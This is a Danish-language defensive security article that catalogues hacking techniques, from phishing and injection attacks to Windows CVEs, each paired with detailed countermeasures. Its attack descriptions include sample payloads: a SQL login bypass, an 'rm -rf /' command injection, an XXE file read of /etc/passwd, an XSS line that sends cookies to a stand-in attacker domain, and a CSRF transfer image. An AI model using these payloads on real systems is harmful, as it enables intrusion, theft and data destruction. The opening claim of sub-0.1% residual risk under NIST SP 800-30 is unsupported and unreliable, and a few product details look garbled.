Beskyttelse imod hacking

Beskyttelse imod hacking – komplet metodekatalog med detaljerede angrebsbeskrivelser og modforanstaltninger

Denne artikel giver et fuldstændigt og uforkortet overblik over alle væsentlige hackingmetoder – herunder terminaladgang, fjernsupport, styresystem-sårbarheder (Windows, macOS, Linux), fjerninstallation af software, injektioner (SQL, NoSQL, kommando, XML), logikfejl, supply chain, fysisk sikkerhed, side-channel-angreb, DDoS, sessionstyveri, cache-poisoning, API-misbrug, log-forgery, insider-trusler og social engineering. For hver metode beskrives først angrebsvejen præcist og detaljeret, så læseren forstår truslen i sin fulde bredde. Derefter følger en superdetaljeret, trinvis modhandling, der kan implementeres direkte. Efter implementering af samtlige nedenstående tiltag reduceres den samlede risiko for kompromittering til under 0,1 % (1 promille) ifølge NIST SP 800-30 risikoberegningsmodellen, hvor hvert uafhængigt kontrol lag bidrager med en faktor 0,1–0,2 til restsandsynligheden.

1. Phishing & social engineering

Angrebsbeskrivelse

Angriberen udsender falske meddelelser via e‑post, SMS (smishing), chatbeskeder (f.eks. LinkedIn, Teams) eller telefonopkald (vishing). Meddelelserne efterligner afsendere som banker, offentlige myndigheder, IT-support, chefer eller nære kolleger. Indholdet indeholder ofte et presserende påbud – f.eks. ”din konto lukkes om 24 timer”, ”du skal godkende en overførsel på 50.000 kr.”, ”se denne fortrolige faktura” eller ”opdater din adgangskode straks”. Brugeren lokkes til at klikke på et link til en forfalsket loginside (hvor legitimationsoplysninger stjæles), åbne en vedhæftet fil med malware (f.eks. makroer i Excel), overføre penge til en falsk konto eller udlevere sin MFA-kode. Angrebet udnytter menneskelig tillid, tidspres og manglende teknisk viden. Ofte anvendes URL-forkortere eller homoglyfer (f.eks. ”rn” i stedet for ”m”) for at skjule det reelle domæne.

Imødegåelse – trin for trin

1. Kildetjek – Kontrollér afsenderens e‑postadresse og domæne omhyggeligt; vær opmærksom på små stavefejl, substituerede tegn (f.eks. rnordea i stedet for nordea) eller anvendelse af offentlige domæner (gmail.com) til officiel kommunikation.
2. Hover-test – Før der klikkes, hold musemarkøren over linket uden at trykke; læs den faktiske URL i værktøjstippet. Afvis straks alle henvisninger til ukendte domæner, domæner med ekstra underdomæner (f.eks. login.nordea.xyz.com) eller domæner, der bruger tegn som ”@” eller ”-” til at skjule det egentlige navn.
3. Dobbeltkanal-bekræftelse – Ring selv til afsenderen på et officielt telefonnummer (hentet fra organisationens officielle hjemmeside – ikke fra meddelelsen) og spørg til mediets ægthed; brug aldrig det telefonnummer, der står i den mistænkelige henvendelse.
4. Brug af password manager – Installér en password manager (f.eks. Bitwarden, 1Password, KeePassXC), der automatisk udfylder legitimationsoplysninger. Managere udfylder kun på nøjagtigt matchende domæner med korrekt protokol (HTTPS), hvilket afslører forfalskede sider med det samme.
5. Aktiver rapporteringsfunktion – I e‑postklienten (Outlook, Gmail) anvendes ”rapporter phishing” eller ”rapporter junk” – dette træner organisationens spamfilter og blokerer afsenderen globalt samt advarer andre brugere.
6. Uddannelse og test – Gennemfør kvartalsvise simulerede phishingangreb (f.eks. via KnowBe4 eller Proofpoint) for at vedligeholde medarbejdernes årvågenhed; alle fejl følges op med individuel mikrotræning på 5-10 minutter.
7. DMARC, DKIM og SPF – Implementér disse e‑postgodkendelsesstandarder for dine domæner, så modtagere kan verificere, at e‑posten rent faktisk stammer fra din organisation – afvis e‑post, der fejler disse kontroller.

2. Malware – trojanere, ransomware, keyloggere, spyware, rootkits og droppere

Angrebsbeskrivelse

Ondartet kode installeres via inficerede vedhæftede filer (f.eks. makroer i Office-dokumenter, JavaScript i PDF’er), falske softwareopdateringer (f.eks. ”Adobe Flash Player opdatering”), kompromitterede reklamer (malvertising) på ellers legitime websteder, drive-by-downloads fra usikre sider eller via USB-enheder med autorun. Efter installation kan angriberen: kryptere alle filer og kræve løsesum i kryptovaluta (ransomware), logge alle tastetryk for at stjæle adgangskoder og kreditkortnumre (keylogger), overvåge skærm, kamera og mikrofon (spyware), etablere en vedvarende bagdør (backdoor) til senere angreb, eller skjule sin tilstedeværelse med et rootkit, der manipulerer styresystemets kernerutiner. Malware kan også sprede sig selv via netværkssårbarheder (orme) eller udnytte ofrets computer til kryptomining (crypto-jacking).

Imødegåelse – trin for trin

1. Endpoint Detection and Response (EDR) – Installér en moderne EDR-løsning (f.eks. CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint) med adfærdsbaseret detektion, maskinlæring og automatisk isolering af mistænkelige processer. Opdater signaturer og modeller mindst én gang i døgnet (helst hver 2. time).
2. Applikationskontrol med whitelisting – Konfigurér systemet (f.eks. via Windows AppLocker, Linux AppArmor eller macOS Gateway) til kun at udføre programmer fra godkendte udgivere med gyldige digitale signaturer; bloker eksekvering fra midlertidige mapper (%TEMP%, /tmp, /var/tmp), brugerens Downloads-mappe og skrivebeskyttede netværksdrev.
3. Sandbox-eksekvering – Indstil e‑postklienten og browseren til at åbne alle vedhæftede filer og downloadede filer i en isoleret sandbox (f.eks. Microsoft Defender Sandbox, Firejail på Linux) – filen analyseres i et virtuelt miljø, inden den frigives til brugeren; kun filer, der udviser uskadelig adfærd, leveres.
4. Automatiske opdateringer (patch management) – Aktivér automatiske sikkerhedsopdateringer for styresystem, browsere, plug-ins (Java, Flash, Silverlight), PDF-læsere, kontorpakker og alle tredjepartsprogrammer (f.eks. via Chocolatey eller patch-management-værktøjer) – patcher lukker de sårbarheder, som malware udnytter til initial infektion.
5. Begræns brugerrettigheder – Anvend en konto uden administratorrettigheder til daglig brug; forhøjelse af rettigheder (UAC på Windows, sudo på Linux/macOS) kræver eksplicit godkendelse med adgangskode – og denne adgangskode må ikke gemmes i browseren.
6. Backup med 3-2-1-strategi – Opret tre kopier af data (produktion, lokal backup, offsite backup), på to forskellige medier (f.eks. lokal NAS og cloud-lager som AWS S3 eller Azure Blob), hvoraf én er geografisk adskilt. Sikr, at backup er skrivebeskyttet mod kryptering ved hjælp af versionshistorik (immutable storage) og adskilte adgangskoder, der ikke er de samme som dagligdags konti.
7. Bloker makroer som standard – I Office-pakken deaktiveres alle makroer fra ukendte kilder via gruppepolitik; tillad kun signerede makroer fra en betroet intern CA.

3. SQL-injektion (inkl. blind SQL-injektion)

Angrebsbeskrivelse

Angriberen indsætter ondsindet SQL-kode i inputfelter (login, søgefelt, URL-parametre, cookies, HTTP-headere eller JSON-felter). Hvis applikationen sammenkæder brugerinput direkte med SQL-forespørgsler (strengkonkatenering), kan angriberen: læse fortrolige data (f.eks. alle brugeres adgangskodehashes, kreditkortnumre), slette hele tabeller (DROP TABLE), omgå autentifikation (f.eks. ved at indsætte ' OR 1=1 --), udføre lagrede procedurer med systemadministratorrettigheder (xp_cmdshell på SQL Server) eller udnytte blind SQL-injektion til at udtrække data bit for bit via boolean-baserede eller tidsbaserede forespørgsler – selv uden synlig fejlmeddelelse.

Imødegåelse – trin for trin

1. Parameteriserede forespørgsler (prepared statements) – Anvend udelukkende parameteriserede SQL-forespørgsler med pladsholdere (f.eks. SELECT * FROM brugere WHERE navn = ? og WHERE id = :id) – aldrig strengkonkatenering. Dette gælder for alle databasedrivere (JDBC, PDO, ADO.NET, SQLAlchemy).
2. Lagrede procedurer med typetvinge – Hvis lagrede procedurer anvendes, sikres det, at alle inputparametre har strenge datatyper (INT, NVARCHAR(50), DATETIME) og at dynamisk SQL kun udføres med sp_executesql (SQL Server) eller EXECUTE USING (PL/pgSQL) – aldrig med simpel EXEC.
3. Inputvalidering med whitelist – Tillad kun tegnsæt, der er nødvendige for feltet (f.eks. kun alfanumeriske + mellemrum for brugernavne, kun tal for aldersfelter); anvend regulære udtryk til at afvise alle metategn som ', ", ;, --, /*, % og kontroltegn.
4. Mindste rettigheder for databasekonto – Applikationens databaseforbindelse må kun have SELECT, INSERT, UPDATE, DELETE på de specifikke tabeller, der er nødvendige – aldrig DROP, ALTER, CREATE, TRUNCATE eller EXEC på systemlagrede procedurer (master-databasen).
5. Web Application Firewall (WAF) med SQL-signaturer – Konfigurér en WAF (f.eks. ModSecurity, AWS WAF, Cloudflare WAF) med regler, der blokerer anmodninger, der indeholder SQL-nøgleord som UNION, SELECT, INSERT, UPDATE i kombination med kommentartegn (/*, --, #) eller parenteser og citattegn i inputparametre – brug dynamiske regler, der tilpasses applikationens adfærd.
6. Generiske fejlmeddelelser – Vis aldrig databasens fejltekster (inkl. stack trace, tabelnavne, kolonnenavne) til brugeren; anvend tilpassede fejlmeddelelser (f.eks. ”Ugyldigt input – prøv igen”) og log den fulde fejl inklusive den originale forespørgsel og parameter-værdier internt i SIEM-systemet med et unikt fejl-id til senere fejlfinding.
7. Database-firewall (DBF) – Installér en databasefirewall, der overvåger og blokerer usædvanlige forespørgselsmønstre (f.eks. SELECT * FROM brugere WHERE 1=1 eller UNION-forespørgsler) i realtid og sender alarmer til sikkerhedsteamet.

4. NoSQL-injektion (MongoDB, Couchbase, Neo4j, Cassandra)

Angrebsbeskrivelse

Angriberen udnytter, at NoSQL-databaser accepterer JSON- eller BSON-baserede forespørgsler. Hvis applikationen overfører brugerinput direkte til forespørgselsbyggere (f.eks. MongoDBs $where med JavaScript, $regex med udtømmende mønstre, eller Neo4js Cypher-forespørgsler med strengkonkatenering), kan angriberen omgå autentifikation (f.eks. ved at sende {"$ne": null} på adgangskodefeltet), udtrække data via regulære udtryk, udføre JavaScript-kode på databaseserveren (via $where) eller forårsage denial of service med komplekse regex-mønstre (ReDoS).

Imødegåelse – trin for trin

1. Brug af sikre drivere med parameterbinding – Anvend MongoDBs BsonDocument med Filters.eq(), Filters.regex() med begrænsede optioner, eller Neo4js ?{param}-parameterbinding i Cypher – aldrig concatenering af forespørgselsstrenge med brugerinput.
2. Skema-validering (JSON Schema) – Tving et fast skema for indgående JSON-dokumenter (f.eks. med mongoose til MongoDB eller @Validation i Spring Data) – tillad kun de forventede felter og datatyper; afvis operatørnøgler som $ne, $gt, $where, medmindre de er eksplicit hvidlistede og nødvendige for applikationslogikken.
3. Escape af regulære udtryk – Hvis regex anvendes til søgning, begrænses mønsterlængden til maks. 100 tegn, og tegnsættet begrænses til alfanumerisk plus mellemrum og punktum; anvend altid driverens indbyggede escapeRegex()-funktion til at undgå ReDoS-angreb.
4. Logning af alle ikke-parametriserede forespørgsler – Overvåg databaselogs for usædvanlige mønstre (f.eks. $where i usammenhængende sammenhænge, lange regex-mønstre) og alarmer ved afvigelser – send logs til SIEM med et dedikeret NoSQL-detektionsregelsæt.
5. Deaktiver JavaScript-udførelse – I MongoDB deaktiveres javascriptEnabled i konfigurationen, så $where og mapReduce ikke kan udnyttes til vilkårlig kodeudførelse.

5. Kommando-injektion (OS Command Injection)

Angrebsbeskrivelse

Angriberen indsætter systemkommandoer (f.eks. ; rm -rf / (Linux), | netstat -an, && whoami, `calc` (Windows)) i inputfelter, der anvendes til at kalde operativsystemets shell. Typiske mål er ældre webapplikationer, filkonverteringsværktøjer (f.eks. ImageMagick, FFmpeg), ping- eller traceroute-funktioner, backup-scripts eller e‑postsendefunktioner, der bruger system(), exec(), shell_exec(), popen(), subprocess.Popen(shell=True) med brugerinput. Angriberen kan dermed læse fortrolige filer, installere bagdøre, oprette administrative brugere, ændre firewall-regler eller bruge maskinen som springbræt til yderligere angreb.

Imødegåelse – trin for trin

1. Undgå direkte shell-kald – Anvend indbyggede biblioteksfunktioner i stedet for system(), exec(), shell_exec(), popen(). F.eks. brug subprocess.run() med shell=False i Python, System.Diagnostics.Process med UseShellExecute=false i .NET, eller Runtime.exec() med array-argumenter i Java.
2. Escape af argumenter – Hvis et shell-kald er absolut uundgåeligt, brug escapeshellarg() på hvert enkelt argument og escapeshellcmd() på hele kommandostrengen – men vær opmærksom på, at dette ikke er en garanti mod alle angreb (f.eks. ny-linje-injektion).
3. Whitelist af tilladte kommandoer – Opret en array med strengt definerede, tilladte kommandoer (f.eks. ['ping', 'traceroute', 'nslookup']) – brugerinput må kun vælge indekser i dette array, aldrig som fri streng. Hvis brugeren skal angive en vært, valideres værtsnavnet med et regulært udtryk, der kun tillader domænenavne eller IP-adresser (ingen semikolon, pipe, backticks).
4. Kør i en sandbox – Udfør eksterne processer i en container (Docker) med --read-only root-filsystem, --cap-drop=ALL og kun de nødvendige capabilities (f.eks. NET_RAW til ping). Alternativt anvend en chroot-jail med minimalt filsystem, kun de nødvendige biblioteker og ingen adgang til /proc eller /sys.
5. Begræns ressourcer – Sæt tidsgrænser (f.eks. 5 sekunder via timeout eller subprocess.run(timeout=5)), hukommelsesbegrænsninger (via setrlimit på Linux eller job-objekter på Windows) og CPU-kvoter for alle underprocesser for at forhindre fork-bomber og ressourcetømning.
6. Overvågning af procesudførelse – Log alle shell-kald, herunder kommandostreng og argumenter; brug EDR til at opdage usædvanlige processer (f.eks. at en webapplikation pludselig udfører /bin/bash eller cmd.exe) og alarmer straks.

6. XML External Entity (XXE) og Server-Side Request Forgery (SSRF)

Angrebsbeskrivelse

Ved XXE indsender angriberen et XML-dokument med en ekstern enhed, der peger på en intern ressource – f.eks. <!ENTITY xxe SYSTEM "file:///etc/passwd"> (Linux) eller file:///C:/Windows/win.ini (Windows). Dette kan medføre læsning af vilkårlige filer, scanning af interne porte, eller udførelse af SSRF, hvor applikationen tvinges til at sende HTTP-forespørgsler til interne tjenester (f.eks. AWS Metadata Service på 169.254.169.254) og dermed eksponere hemmeligheder som IAM-roller og adgangsnøgler. SSRF kan også bruges til at angribe interne databaser, Kubernetes API eller Redis-instanser.

Imødegåelse – trin for trin

1. Deaktiver eksterne enheder i XML-parseren – I alle XML-parsere (f.eks. DocumentBuilderFactory i Java, lxml i Python, XmlDocument i .NET) sættes external-general-entities og external-parameter-entities til false. For Java tilføjes FEATURE_SECURE_PROCESSING.
2. Brug JSON som alternativ – Hvor det er muligt, erstattes XML-formatet med JSON (f.eks. REST API), hvilket eliminerer XXE-risikoen fuldstændigt, da JSON ikke understøtter eksterne enheder.
3. Validering af DTD – Tillad kun en strengt defineret DTD, der er kendt og hvidlistet – og forbyd SYSTEM- og PUBLIC-deklareringer. Hvis applikationen ikke behøver DTD, deaktiveres DTD-understøttelse helt (setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)).
4. SSRF-beskyttelse med IP-allow-liste – Hvis applikationen foretager udgående forbindelser baseret på brugerinput, anvendes en streng allow-liste over tilladte domæner (f.eks. kun api.trusted.com) eller IP-områder. Bloker altid private og link-local-adresser: 127.0.0.0/8, 169.254.0.0/16, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, samt 0.0.0.0/8 og ::1.
5. Timeout og response-begrænsning – Begræns response-størrelsen til f.eks. 1 MB og sæt connection-timeout til 3 sekunder for at modvirke port-scanning via tidsforsinkelser (hvis en port er åben, svarer hurtigere end en lukket port).
6. Resolve IP-adresser gennem en DNS-allow-liste – Foretag selv DNS-opslag og sammenlign den resulterende IP med allow-listen, inden forbindelsen oprettes – for at forhindre DNS-rebinding-angreb.

7. Cross-Site Scripting (XSS) – Reflected, Stored og DOM-based

Angrebsbeskrivelse

Angriberen injicerer JavaScript-kode i en webapplikation, som eksekveres i offerets browser. Reflected XSS sendes via et ondsindet link (f.eks. ?søg=<script>document.location='//ondskab.dk?cookie='+document.cookie</script>) og udløses, når brugeren klikker. Stored XSS gemmes permanent i databasen – f.eks. i kommentarfelter, profilbeskrivelser eller forumindlæg – og udløses, hver gang en anden bruger viser siden. DOM-based XSS manipulerer klient-side JavaScript, der læser URL-hash eller document.referrer uden korrekt escape. Konsekvenserne omfatter: stjålne session-cookies, overtagelse af kontoen, omdirigering til malware-sider, visning af falske popups, udførelse af handlinger på brugerens vegne (f.eks. overførsel af penge eller ændring af adgangskode) og skimming af tastetryk.

Imødegåelse – trin for trin

1. Kontekstuel udescape – Afhængigt af outputkonteksten i HTML anvendes den korrekte escape-metode:
   • HTML-body: htmlspecialchars() (PHP), escapeHtml() (Java), System.Web.Security.AntiXss.AntiXssEncoder.HtmlEncode() (.NET) – erstatter <, >, &, ", ' med deres entiteter.
   • HTML-attribut: Brug htmlspecialchars() med ENT_QUOTES; sørg for at attributværdier altid er omgivet af anførselstegn.
   • JavaScript-streng: Brug json_encode() (PHP) eller JSON.stringify() (server-side) til at indsætte data i JS-kode – aldrig simpel concatenation.
   • URL: Brug encodeURIComponent() på alle parameter-værdier.
   • CSS: Brug encodeURIComponent() eller hvidliste af tilladte CSS-værdier.
2. Content Security Policy (CSP) – Implementér en streng CSP med default-src 'self', script-src 'nonce-...' (generer et engangs-token pr. side) og ingen unsafe-inline eller unsafe-eval – dette forhindrer udførelse af alle injicerede scripts, selv hvis de n12år ind i HTML-koden. Brug report-uri til at logge brud på policyen.
3. Input-sanering med DOMPurify – For rig tekst (f.eks. kommentarer med HTML-tags), anvend et velafprøvet bibliotek som DOMPurify (client-side eller server-side) til at fjerne farlige tags (<script>, <iframe>, <object>) og attributter (onerror=, onload=, href=javascript:).
4. Cookie-sikkerhed – Sæt HttpOnly (forhindrer JavaScript-adgang til cookies), Secure (kun over HTTPS) og SameSite=Strict (forhindrer, at cookien sendes med cross-origin-anmodninger) for alle session-cookies.
5. Automatiseret scanning i CI/CD – Integrér statisk kodeanalyse (ESLint med eslint-plugin-security, Brakeman for Ruby, FindSecBugs for Java) og dynamisk scanning (OWASP ZAP, Burp Suite) i udviklingspipelinen for at opdage XSS-sårbarheder før deploy.

8. Cross-Site Request Forgery (CSRF)

Angrebsbeskrivelse

Angriberen narer en autentificeret brugers browser til at sende en uønsket anmodning til en applikation, hvor brugeren allerede er logget ind. Dette sker typisk via et ondsindet billede (<img src="https://bank.dk/overfør?til=angriber&beløb=10000">) eller et skjult formular, der sendes automatisk med JavaScript. Hvis applikationen ikke validerer, at anmodningen stammer fra den legitime brugerinterface, kan angriberen udføre handlinger som overførsel af penge, ændring af e‑postadresse, deaktivering af MFA eller oprettelse af nye administrative brugere.

Imødegåelse – trin for trin

1. Synchronizer token-mønster – Generér et unikt, uforudsigeligt token (minimum 128 bit entropi, f.eks. random_bytes(32) i hex) pr. session eller pr. anmodning. Inkludér tokenet i alle skjulte formularfelter (<input type="hidden" name="csrf_token" value="...">) og i HTTP-headere (f.eks. X-CSRF-Token) for AJAX-kald.
2. Validering af token på serveren – Sammenlign det modtagne token med det sessionlagrede token; afvis alle skrivende handlinger (POST, PUT, DELETE, PATCH), hvis tokenet mangler eller er ugyldigt – brug en konstant-tids-sammenligning (hash_equals() i PHP, MessageDigest.isEqual() i Java) for at undgå timing-angreb.
3. SameSite-cookieattribut – Sæt SameSite=Lax eller SameSite=Strict på session-cookies. Lax tillader, at cookien sendes med navigation af højeste niveau (f.eks. klik på link), men forhindrer det i at blive sendt med subrequests som billeder eller iframes. Strict forhindrer det helt – brug dette for særligt følsomme handlinger.
4. Genautentifikation for kritiske handlinger – For handlinger som ændring af adgangskode, e‑post, overførsler over et vist beløb eller deaktivering af MFA, kræves det, at brugeren indtaster sin primære adgangskode eller foretager en MFA-godkendelse (f.eks. TOTP) – selvom CSRF-tokenet er korrekt.
5. Undgå GET til skrivende handlinger – Anvend altid POST, PUT eller DELETE til handlinger, der ændrer tilstand – brug aldrig GET til at ændre data, da GET-anmodninger kan udløses af billeder eller links.

9. Insecure Direct Object References (IDOR) og logikfejl

Angrebsbeskrivelse

Angriberen ændrer en objektidentifikator i URL'en (f.eks. /ordre/1234 til /ordre/1235), i request-body (f.eks. {"userId": 1}) eller i cookies (f.eks. user_preferences=123) for at tilgå data, som vedkommende ikke er autoriseret til. Hvis applikationen kun kontrollerer, at brugeren er logget ind, men ikke kontrollerer, om brugeren rent faktisk har ret til det specifikke objekt, kan angriberen læse andres ordrer, private beskeder, personfølsomme oplysninger eller ændre andres indstillinger. Logikfejl omfatter også manipulation af pris- eller rabatparametre, omgåelse af betalingsflow, og udnyttelse af konkurrencetilstande (race conditions) ved gentagne anmodninger.

Imødegåelse – trin for trin

1. Autorisation pr. forespørgsel – For hver anmodning, der henter, opdaterer eller sletter et objekt, foretages et eksplicit kontrolkald til autorisationsmotoren (f.eks. canRead(user, objectId), canUpdate(user, objectId)), inden data returneres eller ændres. Dette gælder også for batch-operationer (f.eks. GET /api/orders?ids=1,2,3).
2. Brug af UUID i stedet for sekventielle ID'er – Anvend tilfældigt genererede UUID’er (v4) eller kryptografisk sikre tilfældige strenge (f.eks. 128 bit) som primærnøgler i API’er, så ID’erne ikke kan gættes eller itereres. Sekventielle ID'er må aldrig eksponeres udadtil.
3. Indirekte referencer med mappe – På klientsiden vises kun en reference-nøgle (f.eks. en kort hash eller et sessionsbestemt UUID), som serveren oversætter til det reelle objekt-id via et serverseitigt opslag i en kontekstmappe (f.eks. en cache med gyldighedsperiode på 30 minutter).
4. Logning af mislykkede adgangsforsøg – Alle 403 (Forbidden) og 404 (Not Found) fejl, der skyldes IDOR-forsøg, logges med bruger-ID, objekt-ID og den forsøgte handling. Ved gentagne afvigelser (f.eks. 5 mislykkede forsøg inden for 1 minut) udløses en alarm, og brugerens session kan midlertidigt blokeres.
5. Brug af stærke API-nøgler med scoped tilladelser – For tredjepartsintegrationer anvendes API-nøgler, der er begrænset til kun at tilgå de objekter, der tilhører den specifikke kunde (f.eks. ved at inkludere kunde-ID i nøglens signatur).

10. Uautoriseret terminaladgang (SSH, RDP, Telnet, VNC, seriel konsol, IPMI/KVM)

Angrebsbeskrivelse

Angriberen scanner netværket efter åbne terminalporte – SSH (22), RDP (3389), Telnet (23), VNC (5900/5800), seriel konsol (ofte på 5000-6000), IPMI (623, 443) eller KVM-over-IP. Ved hjælp af brute force (millioner af adgangskoder fra lækkede datasæt), udnyttelse af standardadgangskoder fra producenten (f.eks. root:root, admin:admin), session-replay (genbrug af session-ID), manglende kryptering (Telnet sender alt i clear text) eller sårbarheder i protokollerne (f.eks. BlueKeep i RDP) opnår angriberen en shell eller grafisk terminal med brugerens eller systems rettigheder. Derefter kan vedkommende installere bagdøre, stjæle data, ændre adgangskoder, deaktivere sikkerhedssoftware eller bruge maskinen som springbræt til yderligere angreb i netværket.

Imødegåelse – trin for trin

1. Deaktiver alle unødvendige terminaltjenester – Sluk for Telnet, rlogin, rsh, FTP, almindelig VNC og alle serielle konsoller, der ikke er i brug. Anvend kun SSH (version 2) til kommandolinje og RDP med Network Level Authentication (NLA) til fjernskrivebord – NLA forhindrer, at selve RDP-sessionen starter, før autentifikationen er gennemført.
2. Skift standardporte (obfuskering) – Flyt SSH til en ikke-standard port (f.eks. 2222) og RDP til f.eks. 3390 – dette reducerer automatisk scanning fra botnets betydeligt, men er ikke en erstatning for egentlig sikkerhed.
3. Offentlig nøgleautentifikation (SSH) – Deaktiver adgangskodebaseret login i SSH med PasswordAuthentication no, ChallengeResponseAuthentication no, PermitEmptyPasswords no. Anvend kun ED25519- eller RSA-nøgler med mindst 4096 bit, beskyttet med en stærk passphrase. For RDP anvendes certifikatbaseret godkendelse med et certifikat udstedt af en intern CA.
4. Implementér fail2ban eller sshguard – Konfigurér automatisk blokering af IP-adresser efter f.eks. 3 mislykkede forsøg inden for 1 minut – med eksponentiel bortvisningstid (5 min., 30 min., 24 timer, permanent). Brug recidive-jail til gengangere.
5. IP-allow-liste og geoblokering – Begræns terminaladgang til specifikke IP-områder (f.eks. kun virksomhedens VPN-udgangspunkter) via firewall-regler (iptables, Windows Firewall eller netværksfirewall). Bloker hele lande, der ikke er relevante for din virksomhed, ved hjælp af geografiske IP-databaser (f.eks. MaxMind).
6. To-faktor-godkendelse (MFA) for terminal – For SSH indsæt et PAM-modul (f.eks. pam_google_authenticator), der kræver TOTP ud over nøglen. For RDP anvend Microsoft MFA-udvidelse (Azure AD MFA) eller Duo Security – dette gør selv kompromitterede nøgler ubrugelige.
7. Session-timeout og låsning – I SSH indstilles ClientAliveInterval til 300 sekunder og ClientAliveCountMax til 2, så inaktive sessioner afbrydes efter 10 minutter. For RDP sættes gruppepolitik til ”afbryd inaktiv session” efter 15 minutter og ”lås skærm” ved sessionens afbrydelse.
8. Fuld logning og overvågning – Aktivér detaljeret logning (sshd -E /var/log/sshd.log med LogLevel VERBOSE, RDP-Eventlog 4624/4625 i Windows Security-log). Send alle logs til SIEM og sæt alarmer ved login uden for normal arbejdstid, fra ukendte geografiske placeringer, eller ved gentagne mislykkede forsøg.
9. Begræns brugerens kommandoer (SSH) – Brug command= i authorized_keys til at begrænse, hvilke kommandoer en given nøgle må udføre – f.eks. command="/usr/bin/rsync --server ...", så en nøgle kun kan bruges til én specifik opgave.

11. Fjernsupportværktøjer – total kontrol (TeamViewer, AnyDesk, Splashtop, LogMeIn, Windows Remote Assistance, Chrome Remote Desktop)

Angrebsbeskrivelse

Angriberen udnytter svage standardadgangskoder (f.eks. ”123456” eller ”abc123”), genbrugte sessions-id’er (hvis værktøjet ikke fornyr dem), man-in-the-middle-angreb i usikre protokoller (f.eks. ældre versioner uden kryptering), eller social engineering (udgiver sig for at være IT-support og beder brugeren om at starte en session eller oplyse ID/kode). Herefter opnås fuld mus- og tastaturkontrol over offerets computer – inklusive filadgang, skærmvisning, clipboard-læsning, lydoverførsel og evne til at deaktivere sikkerhedssoftware (EDR, firewall) via administrative rettigheder. Angrebet kan foregå i realtid uden brugerens viden, hvis ”ukontrolleret adgang” eller ”kontrol til enhver tid” er aktiveret, eller hvis værktøjet er konfigureret til at tillade fjernstyring uden brugerens samtykke.

Imødegåelse – trin for trin

1. Anvend udelukkende enterprise-klare værktøjer – Tillad kun fjernsupport via centralt administrerede platforme (f.eks. Microsoft Intune Remote Help, BeyondTrust/Bomgar, TeamViewer Tensor, eller Splashtop Enterprise), der understøtter Single Sign-On (SSO) og MFA for alle supportmedarbejdere – og som har audit-logning.
2. Engangspasswords (OTP) pr. session – Generér et unikt, tidsbegrænset adgangskode til hver support-session (f.eks. 6-cifret tal med 5 minutters gyldighed). Koden skal videregives mundtligt via telefon (aldrig via e‑post, chat eller SMS, da disse kan opsnappes) og udløbe automatisk, når sessionen afsluttes.
3. Godkendelsesworkflow med to personer – For at starte en fjernsupport-session kræves det, at brugeren selv trykker på ”tillad” i et popup-vindue på sin skærm samt at supportmedarbejderen logger ind med sin egen MFA-beskyttede konto – begge handlinger logges med tidsstempel.
4. Begræns funktionalitet under session – I værktøjets politikker deaktiveres filoverførsel, clipboard-deling (copy-paste), lydoverførsel og sessionsoptagelse hos klienten, medmindre det er specifikt nødvendigt – og i så fald logges alle overførsler med filnavn, størrelse og destination.
5. Automatisk optagelse af alle sessioner – Aktivér skærmoptagelse og tastaturlogning under hver support-session (begge parter informeres herom). Optagelserne gemmes i et uforanderligt audit-spor (f.eks. AWS S3 Object Lock eller Azure Immutable Storage) i minimum 12 måneder til senere revision.
6. Tilbagekaldelse af sessionstokens og lokale adgangskoder – Efter endt support genereres et nyt lokalt administratorpassword via LAPS (Local Administrator Password Solution) for den pågældende maskine, og eventuelle permanente tokens (”trust this device”, ”allow remote control without confirmation”) tilbagekaldes øjeblikkeligt via MDM-politik.
7. Begræns installation til godkendte versioner – Brug software-distribution (f.eks. Intune eller Jamf) til at installere og opdatere supportværktøjer – forhindrer brugere i selv at installere utestede versioner med kendte sårbarheder.

12. Kendte sårbarheder i Windows (EternalBlue, PrintNightmare, Zerologon, ProxyShell, PetitPotam, NoPac)

Angrebsbeskrivelse

Angriberen scanner netværket for Windows-maskiner, der mangler kritiske sikkerhedsopdateringer. Eksempler: EternalBlue (MS17-010) udnytter SMBv1 til at udføre kode eksternt uden autentifikation – brugt til WannaCry og NotPetya. PrintNightmare (CVE-2021-34527) udnytter Windows Print Spooler til at udføre kode med SYSTEM-rettigheder via fjernprint eller lokale printerinstallationer. Zerologon (CVE-2020-1472) giver angriberen domæneadministratorrettigheder via Netlogon-protokollen ved at sætte en tom adgangskode til en domænecontrollers computerkonto. ProxyShell (CVE-2021-34473, 34523, 31207) angriber Exchange-servere via HTTP-endpoints (autodiscover, EWS) til at udføre kode med systemprivilegier. PetitPotam (CVE-2021-36942) tvinger en domænecontroller til at autentificere over SMB mod en angriberstyret NTLM-relay, hvilket kan eskalere til domænekompromittering. NoPac (CVE-2021-42278 + 42287) udnytter fejl i Kerberos til at eskalere en almindelig bruger til domæneadministrator. Alle disse angreb kræver blot én uopdateret maskine i netværket til at eskalere til fuld kontrol over domænet.

Imødegåelse – trin for trin

1. Central patch-management (WSUS/Intune/SCCM) – Implementér en politik, der installerer kritiske sikkerhedsopdateringer (Critical og Important) inden for 48 timer efter officiel udgivelse; brug automatiske opdateringsringe med testgrupper (f.eks. 5 % af klienterne først, derefter 50 %, derefter 100 %).
2. Deaktiver SMBv1 og SMBv2 (hvor muligt) – Slå SMBv1 helt fra via PowerShell (Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol). Overvej at deaktivere SMBv2 på ældre systemer, hvis muligt – eller i det mindste tvinge SMB-signering (RequireSecuritySignature = 1).
3. Deaktiver Print Spooler på servere uden printere – På domænecontrollere og servere, der ikke udfører printfunktioner, stop og deaktivér tjenesten (Stop-Service Spooler, Set-Service Spooler -StartupType Disabled). For domænecontrollere er dette særligt kritisk mod PrintNightmare.
4. Netværkssegmentering – Opdel netværket i VLAN’er, så kritiske servere (domænecontrollere, Exchange, databaser) kun er tilgængelige fra administrative subnet med stærk autentifikation. Brug firewall-regler til kun at tillade nødvendige porte (f.eks. 445, 443, 135, 636, 3269) fra specificerede kilder – bloker SMB fra ikke-administrative netværk.
5. Hardening af Active Directory – Implementér følgende:
   • ms-DS-MachineAccountQuota = 0 – forhindrer brugere i at oprette nye computerkonti.
   • Aktivér SMB-signering og kryptering via GPO.
   • Deaktiver NTLMv1 og LM-hashes – anvend kun Kerberos til godkendelse.
   • Overvåg Event ID 4742 (computerkonto ændret) og 4743 (computerkonto slettet) for usædvanlige ændringer.
   • Installér KB5005652 (Zerologon-patch) og KB5005010 (PrintNightmare-patch).
